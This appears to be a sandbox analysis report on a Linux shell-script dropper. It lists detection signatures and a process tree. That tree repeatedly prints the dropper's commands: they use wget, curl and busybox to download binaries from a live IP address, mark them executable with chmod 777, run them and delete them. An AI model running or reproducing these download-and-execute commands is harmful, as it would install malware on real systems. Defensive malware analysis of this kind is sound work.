9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

Analysis

max time kernel
60s
max time network
62s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
Size 10KB
Sample241122-dcawdasrct
SHA256 9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607
MD5 dc0ce8a1a92fcd65e74d86d4f034507f
SHA1 6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a
SHA512 a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643
SSDEEP 192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
854	chmod
874	chmod
783	chmod
789	chmod
836	chmod
842	chmod
868	chmod
676	chmod
803	chmod
848	chmod
861	chmod
797	chmod
816	chmod
822	chmod
830	chmod
690	chmod
733	chmod
771	chmod
777	chmod

Executes dropped EXE 19 IoCs

Checks CPU configuration 1 TTPs 19 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 38 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	curl
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	curl
File opened for modification	/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	curl
File opened for modification	/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	curl
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	curl
File opened for modification	/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl
File opened for modification	/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	curl
File opened for modification	/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	curl
File opened for modification	/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	curl
File opened for modification	/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	curl
File opened for modification	/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	curl

/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
/tmp/9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:652
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:663
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:674
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:677
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:678
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:679
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:685
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  PID:691
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:692
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:718
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:749
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:776
- /bin/chmod
  chmod 777 hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  ./hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:779
- /usr/bin/wget
  wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:782
- /bin/chmod
  chmod 777 kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  ./kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:788
- /bin/chmod
  chmod 777 LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  ./LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:794
- /bin/chmod
  chmod 777 cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  ./cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:802
- /bin/chmod
  chmod 777 FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  ./FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:815
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:818
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:821
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:829
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:835
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:841
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:847
- /bin/chmod
  chmod 777 fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  ./fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:853
- /bin/chmod
  chmod 777 aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  ./aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
  2⤵
  PID:856
- /usr/bin/wget
  wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:860
- /bin/chmod
  chmod 777 CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  ./CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
  2⤵
  PID:864
- /usr/bin/wget
  wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:867
- /bin/chmod
  chmod 777 mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  ./mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
  2⤵
  PID:870
- /usr/bin/wget
  wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:873
- /bin/chmod
  chmod 777 mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  ./mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
  2⤵
  PID:876
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:877

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Path /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	677	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	691	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	734	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	772	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
/tmp/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7	778	hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
/tmp/kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW	784	kcbTqVA6nn2syuwONMpd8y7X4poydr9xXW
/tmp/LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH	790	LQNwcQK0HBAQMKdta1l90PspOUnibPaSSH
/tmp/cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa	798	cYdqNxOUHygjY93IUHFe6dWo93ANmSSbWa
/tmp/FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO	804	FS07kYpPMvHY4bnBhwdKUE63oSnZSG3WrO
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	817	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	823	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	831	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	837	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	843	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm
/tmp/fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj	849	fRaa4bwngqAxW7Ty7SooeYGa8b3z1cT1uj
/tmp/aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA	855	aKQSONhJjqeKJ9SnQNfRyusy6HiOquz5rA
/tmp/CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9	863	CtVsLlILoteXDlPSngEBA5PfVxTcSHBqU9
/tmp/mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6	869	mKtMz8hg7dTJeMOY3TqD9TMZ5R9ussIFZ6
/tmp/mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm	875	mO32tWsvYMA7Q6Pmq1C8RCFH91GGdtuBsm

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads